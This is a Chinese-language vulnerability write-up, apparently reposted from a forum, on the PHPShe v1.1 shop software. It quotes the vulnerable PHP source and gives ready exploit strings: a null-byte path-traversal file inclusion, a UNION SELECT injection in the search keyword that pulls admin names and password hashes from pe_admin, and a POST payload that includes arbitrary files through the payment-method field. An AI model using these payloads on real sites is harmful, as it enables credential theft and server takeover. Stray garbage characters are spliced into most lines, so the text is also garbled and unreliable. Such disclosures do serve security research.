phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
) b, Y+ {5 R% l  L7 M/* Phpshe v1.1 Vulnerability
/* ========================
8 h" ^5 A- X; B  ?. G# i$ @+ M/* By: : Kn1f3
$ E8 L& X3 m. ~/* E-Mail : 681796@qq.com
/*******************************************************/
6 ~6 t, K8 F2 y! R3 m4 y# v0×00 整体大概参数传输
. `" p/ Z0 y! k6 ~% v


//common.php
  u( |# T* ^. tif (get_magic_quotes_gpc()) {
8 S: q. p0 x+ N5 R!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
3 _; Q; O* q, a9 Xelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
& a4 s5 q! E; L. T  D, k: D}
; f: _0 d' u& w6 A& Rsession_start();
5 ^0 P! o( z4 b* |& ~# n, E4 h8 I!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- s! M7 f- M6 g; p1 l# n!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

, q8 S# \! H& j
& _& j4 g, t+ _4 `7 y//首页文件
2 u- a; K5 x7 m<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
1 C; W+ j* N& x) A+ L?>
//common 文件 第15行开始
url路由配置
& W0 e2 h: u- ]" [% |1 p" Z5 f$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
4 p& A* g1 o% s: T$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
0 j7 u7 r4 \! i5 n' [& U$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
  I( d2 ]+ o! P6 }

2 M; @* V. C  n" M; u7 j$ a  d
! D* r& d0 d8 d) ?8 C# H 0×02 搜索注入
! V8 B/ b, c4 j- _' k% E
<code id="code2">

//product.php文件
1 t+ `5 i  C( f4 f# k' acase 'list':
) l7 h' Q& N! m. s/ [9 }; o$category_id = intval($id);
+ X4 f" a7 N8 q( t$ m0 a6 D( b$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
6 X4 s! A- F; X$ D  `$sqlwhere = " and `product_state` = 1";
3 T: M  }% V& {1 h! \6 ape_lead('hook/category.hook.php');
* v+ F0 h: j* Z( Zif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
/ |  g4 k) V: ~7 {5 p: A$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
4 X: y% m% h4 q: E& b, Yelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
$ o; E7 q  g$ N/ C! y% m//热卖排行
$product_hotlist = product_hotlist();
//当前路径
2 n. S$ x, [& `6 x$nowpath = category_path($category_id);
6 o' n2 i+ E. q1 `& f) l$seo = pe_seo($info['category_name']);
" ]" t" K: }7 Z8 }7 jinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
8 ~/ n( c7 g8 l- g- l1 i# npublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
* R& S+ _* a8 m' ~//处理条件语句
0 E  F: ]* A0 f6 G1 _0 c$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
/ j5 V- K! {& @, W1 w  P, Z& b}
. G7 _, q6 m5 r- t* y) P//exp
- x& ~+ x$ V& }5 \& l! s8 Hproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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% u1 ~+ k$ T) z0×03 包含漏洞2

2 T" y9 y8 ]- K. C, N<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

# R- {* {9 V6 R* Y4 H$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

# e5 E7 q" ]6 l, C3 H! n8 W5 Q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% A; A' _% A3 N6 Y& A8 q6 ^# r; Q3 _* L}

, a  Y% G9 K4 i' Z3 q9 A}

5 Y; _! @, ~! p1 ~$ P1 l5 W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

" A3 ]9 }2 U7 S; Z. t  c, M0 N$ ~: {6 s!$order['order_id'] && pe_error('订单号错误...');

5 b3 [8 V2 ]9 ?8 ?7 n  _if (isset($_p_pesubmit)) {

% `7 b9 E) W/ u- @  f& c, e' t$ ]if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, i$ v& x9 q8 n0 F4 V4 v4 g# W$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

2 c* L3 B1 \6 _2 _, @2 E$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

% i  ]4 M2 d; g0 t' T- g7 d. E& einclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 x7 q1 b8 I4 w2 u, e" W}//当一切准备好的时候就可以进行"鸡肋包含了"

3 v8 e( y; h2 I3 L8 nelse {

pe_error('支付错误...');

}

' L! d; W' B) h6 U/ r0 y( O7 q/ m}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

9 t9 f8 J" i  v9 Ybreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>